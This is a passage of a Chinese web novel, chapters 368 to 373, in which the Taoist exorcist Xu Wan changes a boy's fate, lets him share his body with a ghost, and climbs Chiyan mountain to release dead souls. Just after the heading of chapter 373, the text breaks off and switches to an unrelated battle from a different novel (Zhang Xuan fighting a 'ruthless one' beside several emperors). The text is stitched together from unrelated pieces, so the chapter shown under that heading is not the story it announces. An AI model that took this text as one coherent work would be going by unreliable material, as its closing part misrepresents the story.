太后的目光望向某处,忧心忡忡道:“慕怀瑾的那位夫人到底是何来头,不仅精通道术,而且还对慕怀瑾不能接近女子的怪疾免疫。将来要是再为慕怀瑾生下子嗣,可就麻烦了。” 景逸有些不解,“母后,为何慕怀瑾有子嗣就麻烦了?他不就是个空有爵位的商人吗?为何与鄞玄一样,也会威胁到朕的皇位?” 太后转眸望向景逸,抬手抚了抚他的发顶,语声软了下来,含着丝丝疼爱。 “皇儿啊,你往后就会明白。不过母后希望你最好永远不要明白。” 话毕,太后收回目光,语气再次变得冷硬,“哀家会让卫大人多多留意他们的。若是有机会,便将鄞玄及慕怀瑾等人杀之。” === 翌日天黑后,慕怀瑾与徐莞再次来到定北王府,为何宏彦做法改命。 定北王府庭院中,已按徐莞的要求准备好一张祭坛,其上香烛纸钱招魂幡等法器一应俱全。 慕徐二人和鄞玄、何立骅一家三口,以及冷锋流星皆来到院中,等候徐莞为何宏彦做法。 一切皆准备好后,徐莞示意何宏彦到她身边来。 何立骅与宋玉卿捏捏儿子的肩,用温柔且鼓励的目光为他加油打气,让他自己向徐莞走过去。 何宏彦来到祭坛前,徐莞蹲下身平视着何宏彦,温和道:“宏彦不用怕。待会儿我会将你身上的另一个魂魄请出来。 你可能会有意识,也可能没有。总之不会对你有任何伤害。相信我,不到一柱香的功夫便可结束。” 何宏彦望着她,坚强地点点头。 徐莞便抚抚他的发顶,柔声道:“那我们现在就开始。” 第368章 368.师叔无境 月明星稀,虫鸟低鸣。 定北王府庭院内,慕怀瑾鄞玄与何立骅等人,皆立在庭院边上,目光炯炯地望着祭坛前的徐莞与何宏彦。 只见何宏彦盘腿坐在一个团蒲上,徐莞先是取了张符纸夹在指间,随后默念咒语。那张符纸便突然哗的燃了起来。 她再将符纸绕着何宏彦的头顶转了几圈,最后张口道了一声,“起!” 关戎的魂魄便从何宏彦的肉身中站了起来。 何立骅鄞玄等人提前在眼中滴了牛眼泪,因而也立时看到了关戎的魂魄。 “关戎。”徐莞唤道。 “夫人。”关戎转身向庭院边站的那些人望去,“王爷,侯爷……何大人……” “关戎,何钦已被我们亲手诛杀,你应该已经知道了吧。”鄞玄道。 “嗯。”关戎点点头,“我能感知到他已经死了。谢谢,谢谢你们帮我报了仇。” 关戎说着,向在场众人一一鞠躬,而后望向何立骅与宋玉卿: “谢谢你何大人,你真的跟何钦不同。能站在正义与百姓的一方,与自己亲爹为敌,实属难得。 我替我们关家九口,还有死于嘉礼县火灾的二百多县民,向你们磕头感谢!” 话毕,关戎向何立骅与鄞玄跪下,郑重磕了三个头。 何立骅道:“不必如此。我答应你的事,自会做到。既然如今我爹已死,你是否可以离开我儿子的肉身?” 关戎点头道:“何大人一言九鼎,我关戎自然也会说话算话。我会离开令公子的肉身,回嘉礼县与我叔叔团聚。只是不知我离开后,令公子是否还能继续平安活下去。” 徐莞接口道:“你放心。何钦犯下的罪孽,已随着何立骅亲手将其正法而洗清。 而且何大人此举也是为嘉礼县二百多县民报了仇,为何家积下阴德,所以何宏彦有阴德能够改命。” “那就请慕夫人尽快开始吧!”何立骅急切催促道。 而后,徐莞便转身开始做法。 徐菀先是取过一张黄纸,用祭坛上的毛笔沾上朱砂,在黄纸上写上何宏彦的生辰八字之后剪下他的一小撮头发包进黄纸中,再将黄纸叠折成一个三角。最后用匕首划破何宏彦的手指,让其在黄三角上印下一个血指印。 做完这一切后,徐菀拿着那黄三角,在祭坛前盘腿而坐,口中默念咒语。 念着念着,四周忽然起了风。大风将庭院中的绿植刮得沙沙作响,招魂幡上的铃铛亦被风吹得叮铃当啷。 何立骅夫妇及慕怀瑾等人皆目不转睛地看着,只见徐菀念完咒后,起身将那黄纸放在烛火上点燃。 随后取了一盛水的茶杯,将即将燃烧尽的黄三角浸没在茶杯之中。末了,她端着这杯符水递到何宏彦面前。 “宏彦,将这杯茶水喝了。” 何宏彦听话地接过茶杯,低头咕嘟咕嘟喝了起来。 可他没喝几口,忽然胸中一股吐意上涌,噗地将喝进去的符水尽数吐了出来,喷了一地。 何立骅夫妇见此惊恐大呼,“宏彦!” 他们正要上前查看,却被徐菀制止,“别过来!” 二人即刻顿下脚步向徐婉望去,眉宇间满是担忧,“慕夫人,宏彦这是怎么了?” 徐菀回过头,将何宏彦喷在地上的水渍形状细细观察一番,蹙起眉正想说话,忽而一股灵力瞬间席卷过整个庭院。 由于不知这灵力是好是坏,徐菀迅速造出一个结界,将自己护在其中。 转身却发现,庭院边立着的所有人,好似都被定住了一般,表情与动作皆纹丝不动。 正在她疑惑之时,一道陌生的老者嗓音,在她身后响起,“丫头,你莫要白费力气了。” 徐菀转过身,望见一位仙风道骨的老者出现在了庭院中。 何宏彦一见到他,便兴奋地向他跑了过去,“无境爷爷!” 被唤作无境爷爷的老者,一把搂住何宏彦,慈爱地将他抱了起来,“彦儿,几年不见都长这么大了。爷爷都抱不动你了哈哈哈。” 徐菀细细感知了一番这位老者身上的气韵,仅感知到纯净的瑞气,无一丝一毫邪气。 再听何宏彦唤他“无境爷爷”,徐菀蓦地意识到,难道这位就是自己的师叔无境大师? “师叔?”徐菀不确定地唤道。 无境一面抱着何宏彦,一面侧过脸来向徐菀和蔼一笑,“你还记得我啊丫头。” 徐菀的思绪不禁回到了刚入青云观的时候。 自她记事起,小时候在青云观,便是师父跟无境师叔一起将她养大的。 师父对她颇为严厉,但师叔却对她很是纵容。 每次师叔下山采买,总会给徐菀带些师父不让她吃的糖果点心偷偷塞给她。也会教她些好玩的法术,为她在山上的生活增添了不少乐趣。 可是在她五岁那年,师父与师叔不知为什么大吵了一架,师叔当晚便收拾了包袱不辞而别,连小徐菀都未去看一眼。 自那以后,徐菀便再也没见过这位师叔,仅偶尔从师父口中听到,让她别像无境师叔那样玩物丧志,玩到最后连道法都不学了,白白浪费了修习道法的慧根。 因而徐莞猜测,无境师叔应是醉心于凡尘俗世,而放弃了道学,自愿离开师门的。 谁能想时隔十多年,今日竟在此处再次见到无境师叔,徐莞颇感意外。 “当然记得!菀菀记得师叔给我买了好多糖葫芦呢。” 无境听后笑了,“呵呵呵那时的你与宏彦差不多大。没成想一转眼如今已成大姑娘,嫁作人妇了。” “难道师叔您就是何大人说的那位,三年前为宏彦做法的大师?” “对。”无境道:“从青云观离开后我便在四方云游,过着自由自在的日子。没钱了便帮人看看相算算卦驱驱邪。 当年我返回京城时,恰好遇上何家寻大师为小公子做法驱邪。我便应征去了。 但是我发现,何家小公子的事不是那么简单。关戎之所以能附在宏彦体内,是因为宏彦本就不该存在!” 第369章 369.一体两面,合而为一 “关戎之所以能附在宏彦体内,是因为宏彦本就不该存在!” 徐莞微微一惊,师叔竟说出了她一直以来的猜疑! “菀菀,你应该也想到了吧。”无境将何宏彦放下,向徐莞幽幽道:“何钦罪孽深重,何家到何立骅这一代本就该绝,所以宏彦原本是不该出生的。 而在关家人死后,他们的魂魄被困在嘉礼县无法转世投胎。 这时,有一位精通禁术的道士出现,提出可以用他们的魂魄之力,将关戎魂魄中善良温厚的那一部分提取出来,化成一个孩子送出嘉礼县。于是,关家人答应了。” “所以关戎魂魄纯善的那一部分化成的孩子,就是何宏彦?” 徐莞望了望何宏彦,又望向关戎,终于明白了一切。 “对,所以关戎就是宏彦,宏彦就是关戎。你若是强行将他们分开,何宏彦也活不了多久。”无境道。 “那怎么办?难道就让关戎继续留在宏彦的肉身里?” 无境反问,“有何不可?你不问怎知他们不愿意?” 徐莞将目光再次转向何宏彦,“宏彦,你可知晓这些事?” 宏彦点点头,“嗯。三年前无境爷爷帮我做法时就已将此事告诉了我。但我怕爹娘难以接受,所以并没有告诉他们。 其实从我记事起,戎儿便一直在我体内陪着我。他是我最好的朋友,也一直保护着我。 因而当我知晓他家中的悲剧时,便答应帮他报仇,即使他的仇人是我祖父。所以你们以为我得了离魂症,其实都是我装的。” 徐莞听后颇为惊愕,原来这一切都是何宏彦与关戎自导自演,仅是为了引导何立骅去调查何钦,从而为关家报仇。 这时,关戎的魂魄飘到何宏彦身边,愧疚地开口,“对不起宏彦,我利用你骗了你爹娘,如今却无法从你的肉身中离开。我……不知该怎么办了……” 关戎说着,捂住脸自责地哭了起来。 何宏彦忙抚着他的肩安慰他,“别这么说。若是没有你,哪能有我。就算要离开,也是我离开。” 说着,何宏彦向无境和徐莞问道:“无境爷爷,慕夫人,你们有法子让我从这具肉身中离开吗?我想让戎儿继续活下去。” 无境摇摇头,“如此亦不可。还是你们两个一起活下去比较好。只要不告诉你爹娘,你们一起平静地用何宏彦的身份活下去,也不失为最好的选择。” 何宏彦听后望向关戎,“戎儿,你不要走,跟我一起活下去吧。我们可以一起长大,一起看这世间繁华。 何立骅和宋玉卿会是一对好爹娘,你也可以弥补上一世的遗憾,拥有快乐无忧的人生。好吗戎儿?” 关戎睁着泪眼朦胧的双眼,抬头望向何宏彦,“我…可以吗?” 何宏彦毫不犹豫道:“当然可以啦!” 随后又转向徐莞,可怜巴巴求道:“慕夫人,能不能请您不要把我们的事告诉我爹娘,以及今日在场的所有人。就让我和戎儿一起活下去吧!” 徐莞静静望着他们依依不舍的模样,心中也不禁被他们的友谊感动。 没有关戎灵魂就没有何宏彦,没有何宏彦的肉身就没有关戎。 他们就像磁铁的两面,有另一方存在,自己才会存在。 师叔说的对,没必要将他们强行分开,因为他们本就是一体。 “好吧。只要你们都愿意,并且乖乖地作为何大人的儿子好好活下去不让他们发现。我是什么都不会说的。” 何宏彦与关戎一听,即刻欣喜若狂,“太好了!谢谢慕夫人!” 末了,关戎又向徐莞求道:“慕夫人,我还有一事相求。” “是不是关于你叔叔,跟嘉礼县县民的事?” “对,我想请你再带我见叔叔的魂魄一面。然后求你为他,和那两百多还被困在嘉礼县不能转世投胎的县民超度,让他们放下仇恨,去转世投胎。” 徐莞点头道:“你放心。我从前就答应过汪进士要帮嘉礼县的游魂超度。处理完何家之事,我便会再次去往嘉礼县。到时我会请何大人一家同去,让你再见你叔叔一面。” “多谢慕夫人!”关戎说着,跪伏在地向徐莞深深磕了一个头。 随后,他便行至何宏彦身边,渐渐没入他的肉身中。 至此,关戎与何宏彦合而为一,以两颗灵魂共用同一肉身,互相帮助扶持,互相理解安慰,再不分离。 无境低头捏了捏何宏彦的肩膀,而后抬起头道:“好了,此事解决,我也该走了。” 徐莞先是下意识地想要挽留,但旋即想到师叔已在外云游多年,无心再留道门,她多说无益。 于是,徐莞点点头道:“多谢师叔,师叔您多保重。如需相助之处,菀菀定会来相助。” 无境淡笑望着她,眼中略过一抹欣慰与不舍,点点头道:“好,丫头你也多多保重。但我可能帮不了你了。往后的路还需你自己走。” 徐菀隐约已料到会是此种结果,因而只是淡淡应了一声,“好。” 随后,无境向何宏彦道别后,便向他们二人挥挥手,潇洒一笑转身,一股青烟自他身后腾起。 少倾,青烟散去,无境的身影已消失无踪。 徐菀与何宏彦不由得望向对方,徐菀道:“宏彦,准备好了吗?待会儿我唤醒你爹娘他们,就当做关戎已经走了。” “好的夫人,我明白。” 何宏彦回话后,徐菀轻轻一挥衣袖,何立骅鄞玄慕怀瑾等人便忽的动了起来。 不过他们的记忆好似还停留在方才何宏彦吐符水,他们被定住的那一刻,此时回过神来,何立骅夫妇继续冲到何宏彦身边。 “宏彦!宏彦你怎么样?” 他们将何宏彦搂进怀中,上上下下仔细检查着他是否尚好。 小宏彦抬起头,“爹,娘,孩儿没事儿。” 这时,徐菀道:“何大人,关戎已从宏彦身上离开,宏彦也已改命成功,他能继续活下去了。不过他往后余生如何走,还要看他自己的造化。” 第370章 370.谁年幼?谁体弱? “何大人,关戎已从宏彦身上离开,宏彦也已改命成功,他能继续活下去了。不过往后余生如何走,还要看他自己的造化。” “真的吗!”何立骅跟宋玉卿闻之喜极而泣,“太好了!” 他们再次抱着何宏彦看了又看,确定他真是的乖巧软萌的儿子后,二人再次将他搂入怀中,紧紧抱着,如同失而复得的宝贝,再也不舍得放手。 鄞玄与慕怀瑾等人在一旁望着,眼中也不禁流露出欣然动容之色。 只有徐菀一人注意到,在何立骅夫妇的重重拥抱中,何宏彦扬起小脸望向徐菀,向她露出一抹只有他们二人心领神会的笑。 待何立骅夫妇心情稍稍平复下来,对着徐菀又是一顿千恩万谢。 但由于何家的财产被尽数没收,他们无力支付先前承诺的剩余香火钱了。 徐菀便顺势免了他们的香火钱,“无妨。我与宏彦有缘,无需香火钱。不过我想请何大人做最后一件事。” “夫人但说无妨。” “此事结束,过几日我便会与怀瑾一同启程去往嘉礼县,为在那场大火中枉死的县民超度。想请何大人你们随我们一同前往,再去向那些县民赔罪,为宏彦积福。” 徐菀方才答应过关戎,要带他回嘉礼县,见他的叔叔最后一面。因而只能以这样的借口请何立骅一家再去一趟嘉礼县了。 何立骅与宋玉卿不假思索便一口答应下来,“好!只要能为宏彦积福,将我们的阳寿转给他我们都愿意!” 事毕,鄞玄在府中设宴,招待慕徐二人与何立骅一家。 众人在月色下围桌畅饮谈心,将此段时日以来的惊心动魄、纠结不忍、劫后余生,尽数与大家分享。 畅聊之下,大家都颇感命运的奇诡。 徐菀与慕怀瑾也意想不到,他们竟会与何钦之子坐在一起喝酒,更想不到何钦竟会死在他儿子手里。 酒过三巡,何立骅不禁想起了前几日,他与鄞玄被禁军围攻时的危急一幕。 “王爷,那日皇上为何会命禁军杀了我们?皇上想杀我可以理解,但您是为何...” 鄞玄握着酒杯,眼中闪着与冷意与自嘲,“皇上想要本王死,无需理由。” “但是,这回他没有得逞,今后会不会再找机会...” 鄞玄点头,“定会如此。但本王也不会坐以待毙。我已退让到了这种地步,他们还对我如此赶尽杀绝,我也该为自己谋划谋划了。” 众人听后都未说话,互相交换一个心领神会的眼神,而后共同举杯再干一杯。 “来王爷侯爷!咱们再干一杯,祝大家都心想事成,各得其所!” 宴饮过后,慕徐二人乘马车回侯府,何立骅一家则宿在定北王府,待这几日处理完何府事宜后,便离开京城。 在回府的马车上,徐莞因喝了点酒,再加上近期连日来的奔波与布阵做法,她有些困倦地靠在慕怀瑾肩上,随着马车摇晃,几乎就要睡着。 就在这时,慕怀瑾搂着她的肩感叹道:“何钦之事,终于落下帷幕了。谁能想到,杀死何钦之人,竟是他的亲儿子。” 徐莞闭着眼喃喃道:“我当初也是看何立骅与何宏彦心性纯良,命不该绝,才愿意帮他们。 不过此事也需他们配合。若是何立骅不肯承认何钦的过错,为他助纣为虐,那么天神下凡也救不了他。” “说得对。所以你也心疼关戎,因而帮他继续留在何宏彦的肉身里吗?” 一听此话,徐莞蓦地睁开眼,蹭地直起身望向慕怀瑾,“你怎会知晓!” 慕怀瑾弯了弯嘴角,仿佛一切尽在掌握之中。 “我注意何宏彦的眼神,与之前关戎的眼神无二。而且你们后面交换了个眼神,别以为我没注意到。那眼神明晃晃写着是你帮他的。” 徐莞颇为惊讶又佩服地望着他,“怀瑾你还真是火眼晶晶,这都被你看出来了。” 此话对慕怀瑾颇为受用,他捏了捏徐莞的脸,轻轻一笑道:“任何事都别想逃过我的法眼。你为何要帮关戎?你无法将他与何宏彦彻底分开吗?” “对,他们本就是一体。没有关戎就没有何宏彦。” 随后徐莞将方才发生之事简要讲给慕怀瑾。 “…没想到我的师叔竟也与宏彦有些缘分。只是处理完宏彦之事后,他便再次离开。” 慕怀瑾微微点头道:“原来如此,只要宏彦和关戎双方都同意,如此做便是又胜造一级浮屠了。” 话至此处,慕怀瑾又想起了什么,“你提议何立骅他们与我们一同去嘉礼县,难道是关戎想回乡与亲人道别?” 徐莞嘿嘿一笑,“果然什么都瞒不了你。关戎想见他叔叔最后一面。恰好我们也要去嘉礼县,我便随口一编,让他们随我们同去。” “也好。送佛送到西。我们便为嘉礼县大火一事,做个圆满收尾。” === 之后的五日,何立骅将何钦的尸首要了回来,与何家太夫人的尸首一同火化,将他们的骨灰装坛,准备带他们一起回乡。何府里的家奴与下人也被他尽数遣散。 徐莞与慕怀瑾也在府中修整了几日,为超度嘉礼县亡魂做做准备。 由于需要超度的亡魂数量庞大,需在嘉礼县设大数倍的祭坛与阵法才可。 因而徐莞决定将两位徒弟也带上,让他们帮忙布置祭坛与阵法,同时也带他们学学如何超度亡魂。 得知此事后,朱雀与白虎异常兴奋,终于可以暂时离开京城去外地逛逛了! 慕怀灵不久也从朱雀白虎处听说了此事,也闹着要随他们同去。 慕怀瑾不耐烦道:“我们是去超度亡魂的,不是去游玩的。那里阴气极重,你年幼体弱,去了染上阴气,回来若是病了我怎么跟娘交待?” “谁年幼?谁体弱?”慕怀灵双手叉腰,愤愤不平地仰着脑袋向慕怀瑾怼道:“我都见过那么多次鬼了,也没见有事。大哥你不想让我去,能不能换个理由?” 第371章 371.再次回到嘉礼县 “我都见过那么多次鬼了,也没见有事。大哥你不想让我去,能不能换个理由?” 慕怀瑾依旧半步不让,“此去路途遥远,且刁民众多。到时候若是出了事,我们可顾不上你。” “呵,谁要你顾了?我去找冷锋保护我!” 慕怀瑾一听,仿佛被背刺了一刀。 好啊,自己从小照顾大的妹妹,如今有了男人,居然对他说出这种话,真是有了妹夫忘了哥…… “干脆你俩一块去行了!别跟着我们!” 气呼呼地喊罢,慕怀瑾即刻拂袖而去,留慕怀灵一人懵懵地立在原地。 大哥怎的这样就生气了? 他的脾气近来真是越来越古怪了,怪不得人们常说老人家脾气都会变呢。看来大哥如今也是老人家了。 哼!我就去找冷锋,他一定会陪我去的!到时候我就偏带着冷锋和你们同去! 可此次却出乎慕怀灵的意料,冷锋居然没有答应! “岂有此理!冷锋居然说这几日有些忙,抽不开身陪我去。朱雀,流星是怎么给你回复的?” 慕怀灵从定北王府回侯府后,便气呼呼地去找朱雀吐槽。 朱雀亦是一脸失落,但却未过多的表现出来,“流星也说近来王爷为他安排的差事。待忙完这一阵再来找我。” 恰好回到松风苑的慕怀瑾听到二人的对话,心中一阵暗喜,轻轻行至她们身后,忽然开口,“怎么,你的冷大哥不能陪你去了?” 突如其来的声音将慕怀灵吓了一跳,猛地回过头来,“大哥!你何时回来的!” “我将将回院,便听见你幽怨的声音,想到到底是何人敢惹我们怀灵生气,仔细一听,原来是你的冷大哥啊。” 被大哥戳到痛处,慕怀灵气恼不已,一时又想不出如何反驳,只得瞪着慕怀瑾,脸涨的通红。 望见她这副表情,慕怀瑾才觉得自己终于出了一口气。 又暗暗得瑟了一阵,慕怀瑾才开口道:“近几日鄞玄确实向冷锋流星二人安排了差事。所以怀灵你就好好待在府里,不要跟着我们跑了。” 听说冷锋被安排了差事,慕怀灵蓦地又想起另一件事来,“鄞玄哥哥给他们安排了什么差事?冷锋如今是何官职?” 慕怀灵记得冷锋说过,他要等有了官职,建功立业之后,才敢亲自上门求娶她。 没成想,慕怀瑾却微微摇头,“此差事非彼差事,无官无职,是鄞玄安排他们私下去做的。” 这回就连朱雀都好奇地凑了过来,“到底是什么差事如此神秘啊侯爷?” “这我就不晓得了,鄞玄也未告诉我。其实方才我就是去定北王府邀请他与我们同去嘉礼县的。可他也未答应我。” 慕怀灵听后心情越发失落,没多想便脱口而出,“无官无职,还是私下安排他们的。鄞玄哥哥到底在做什么?” 此话一出,慕怀瑾的神色蓦地肃了起来,“怀灵,此话不可乱说。你就当我今日什么都未给你说,你也全一无所知吧。” 话毕,慕怀瑾便转身向寝屋而去,将她们二人留在原地。 朱雀与慕怀灵望向慕怀瑾离开的背影,而后猛然向对方望去,在对方眼中都看到了震惊与后怕。 难道定北王真的在密谋什么不能说的大事? 若真是如此的话,她们确实不能再问下去了。 知道的越多,不仅她们会有危险,鄞玄冷锋流星会更危险。 经此一事之后,慕怀灵再没有了与大哥大嫂同去的理由,只好愤懑地留在府中,等他们回来。 待何立骅一家也做好准备后,便来到永嘉侯府,坐上侯府安排的两辆马车,一同向嘉礼县而去。 依旧是两天一夜的路程,此次却因再无旁的牵挂与担忧,大家一路上谈天说地,时间过得快了很多。 转眼间两日后,他们便再次抵达嘉礼县。 虽然距离他们上次离开还不到一个月,如今的嘉礼县已有了很大变化。 因此前慕怀瑾何立骅在离开时,将曲县令的罪证交给了甘州太守。 太守得知后立即罢免了曲县令的官职,派来官兵将其捉拿,将他这些年搜刮的民脂民膏尽数查封上缴。 随后,甘州州府又委派了一位新县令来此上任。 新县令上任后,肃清了曲县令的余党,将那些邪门歪道尽数赶走,又制定了诸多惠民之策,很快令嘉礼县焕然一新。 如今行走在县城的大街上,原本沿街商铺与民宅门外,贴着的符纸和辟邪法器少了很多,就连原先极重的阴气也散了不少。 “此地就是死了二百多人的嘉礼县吗?阴气与怨气比我想象的要弱不少。” 一行人傍晚下榻在县城一家客栈。众人在客栈里吃晚饭时,朱雀说道。 徐莞点头应道:“我也察觉到阴气轻了很多。或许是何钦身亡的消息已传回了此处。那些冤魂得知后怨气便散了吧。” 这时,何立骅问:“夫人,明晚便要进行超度法事吗?我们一家人有何能帮上的,侯爷与夫人尽管吩咐。” 慕怀瑾望向徐莞,一副心悦诚服的表情,“我全听夫人安排。” 徐莞心情大好,“好,今晚大家都好好休息,明日我们便上赤炎山顶布阵开坛。” 翌日午后,慕怀瑾徐莞一行七人用过午饭,便带着开坛所需的桌案法器香烛等等,乘马车一同向赤炎山进发。 由于需要超度的亡魂数量庞大,须择一处开阔空旷之地,且地势要足够高,能上达天宝。 因此,距县城二十里的赤炎山,便是最佳选择。 今夜子时,徐莞便要在赤炎山山顶,开坛做法,超度亡魂,打开阴阳两界之门,送亡魂入地府投胎。 抵达赤炎山脚下,几人轮流背着法器,互相搀扶着往山上走。 此时正直六月,山间植被茂盛,虫鸟繁多,不时还有小动物从树林间穿过,为他们爬山的一路上增添了不少乐趣。 待他们爬到半山腰时,汗水已浸湿了他们的衣衫,并且周围的温度还在不断上升,让几人越走越热。 慕怀瑾戒备地停下脚步道:“大家停一停,此地好像越来越热了。” 第372章 372.火髓与麒麟皮 慕怀瑾戒备地停下脚步道:“大家停一停,此地好像越来越热了。” 众人闻言皆停下脚步,纷纷向周围扫视起来。 白虎用手扇着风,抬头向四周望了一圈道:“是啊。照理来说山上应该比山下凉快,怎的此地越走越热了。你看我这汗,流得跟瀑布一样。” 徐莞望着四周思索片刻,接着像是意识到了什么,向旁边一处山壁走去,随后将手放在那岩石之上。 朱雀见此也跟着走了过去,“师父?” 众人便都渐渐向徐莞靠了过去。只见她将右手放在山壁的岩石上,轻闭双眼,似在感应着什么。 渐渐地,徐菀手掌摸着的那一块山石,竟透出了些许橙黄之色,似有火焰在其中隐隐跳跃。 下一瞬,几人感觉脚下的土地一阵摇晃。众人站立不稳,纷纷手忙脚乱地去扶山石,或是互相搀扶。 而不慎摸到山石的慕怀瑾,竟如同被烫到一般,眉宇一蹙极快地收回手去。 “发生了何事?”宋玉卿紧紧搂住何宏彦,惊恐地向四周望着。 好在这地动山摇持续了未有多久便停息了下来。 何立骅无意间向慕怀瑾的左手望去,顿时惊叫出口,“侯爷,你的手...” 众人迅速侧头望去,但见慕怀瑾的左手掌心一片通红,似是被烧红的铁块烫到,形成了几块黑红的印记。 朱雀白虎一看,亦倒吸一口冷气,“侯爷,您是被烫到了吗?” 他们又齐齐向徐菀望去,只见徐菀的右手居然还一直摸在那山石之上。而与慕怀瑾相反,徐菀面上竟是一副舒缓惬意的表情。 “菀菀,你...”慕怀瑾刚想开口询问。 徐菀却猛地将手指弯曲成爪,慢慢从山石处移开,好似使出极大的力气,想从山石中吸出什么。 众人见此,皆目不转睛地盯着她的动作。 随着徐菀愈加用力向外吸着什么,那山石的颜色也越来越红,如同被烈火灼烧透了一般,变成了透着光的深橘红。 紧接着嘭的一声巨响,那一处山石竟蓦地嘭然炸开,从中飞出一块拳头大小的火球,直直向徐菀的手心飞来。 还不等众人惊呼,徐菀已将那火球紧紧抓在手中,而后向朱雀喊道:“朱雀,将麒麟皮给我!” “哎!”朱雀即刻应了一声,从自己背着的法器袋中取出一块金灿灿的皮毛,向徐菀递了过去。 徐菀接过后,利落地用麒麟皮将那火球包裹了起来,隔着麒麟皮将其捧在手心,仔细查看着,眸中透出惊艳之光。 “菀菀你没事吧?”慕怀瑾第一个来到徐菀身边,首先关心的是她的安危。 “我没事。”徐菀侧头向慕怀瑾笑笑,无意之间瞥见他被烫伤的手掌,眸子里刹那染上担忧心疼,“你方才是不是摸了这山石?” 慕怀瑾点了点头,徐菀立刻从小荷包里取出一团半透明的似水非水之物,塞进慕怀瑾手中。 “快拿着此物,在手心里捏捏。”徐菀握着慕怀瑾的手,将那团东西在他受伤的手中揉搓。 “这是何物?”慕怀瑾问,“摸上去似水非水,又湿又凉,像一块软软的凉粉。” “这是千年冰川中所孕育的冰髓,可医治一切烫伤烧伤。平常人只需一点,便可散热退烧。” 徐菀说着抬起头望向慕怀瑾,“被岩浆灼红的山石烫伤,你居然一声不吭。你感觉不到疼吗?” 徐菀一面揉一面抱怨,听在慕怀瑾耳中,却多了几分心疼担忧。 慕怀瑾心中不由得溢出丝丝甜蜜,望着手上的伤浑不在意道:“疼倒是不疼,只是有一点烫而已,你别担心。” “真的不疼?”徐菀抬起头有些意外地问。 “真的不疼。”慕怀瑾宠溺地重复了一遍,略略自嘲道:“或许是我有紫气护体吧。” 二人说话间,那团冰髓好似融化了一般变小了很多。慕怀瑾手掌中被烫伤的红痕,也渐渐淡了下来。 何立骅与朱雀白虎等人见此,也不禁放下心来。 “慕夫人,方才到底是怎么回事?为何那块山石会变红?您手中拿着的火球又是什么?”这时,何立骅才开口好奇地问。 朱雀若有所思地接口道:“师父方才说那些是被岩浆灼红的山石。这些山石里面是岩浆?如此说来,这座山难道是火山?” 徐菀用赞赏地目光望向朱雀,“没错。赤炎山是一座沉睡的死火山。但山体内部依然有岩浆涌动。 我们如今应是走到了山体最薄之处,因而感觉到了山体内岩浆散发出的热度。至于这个火球...” 徐菀垂眸望向手中用麒麟皮裹着的火球,“此乃万年火山才得以孕育的火髓。与冰髓恰恰相反,其中蕴藏着无限的热量,这小小一块便可使十几里冰消雪融。 同时,火麒麟以火髓为食。因此用麒麟皮包裹火髓,可防止烫伤。” “居然如此神奇。”何立骅兴致勃勃问:“那若是将冰髓与火髓放在一起,会如何?” 众人:“......” 话音刚落,其余几人齐齐给了他一个白眼。 连宋玉卿都很是无语,“夫君,你为何总是问这种问题...” “我好奇嘛,嘿嘿嘿...” “若是把冰髓火髓放一起,会发生剧烈爆炸,方圆几十里都能炸平了。所以你还是别想尝试了。” 徐菀说着,将火髓小心翼翼地裹好,再放入小荷包中,心里美滋滋地想: 没想到此次来赤炎山能得一枚火髓,真是意外收获啊。 “好了,我们继续上山吧,别耽误了时辰。” 随后几人继续赶路,终于在天黑之前爬到了赤炎山山顶, 徐莞在山顶选了一块平坦开阔之地,作为今夜做法之处。 之后,徐莞与慕怀瑾撑开桌子开始布置祭坛。 朱雀白虎跟何立骅,则将一大块画满轮回咒的黄布,铺在祭坛前方。再点燃九十九支蜡烛围着黄布摆成一圈。 半个时辰后,他们才终于为稍后的法事做好准备。 此时天已黑尽,一轮皓白的圆月高挂长空,散发出的清幽月光,将山顶这一处照亮。 山顶的夜风,将七人的衣角吹得簌簌飞扬。 在山风与月光下,徐莞欣然而立,利落转过身道:“开始吧。” 第373章 373.超度亡魂 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 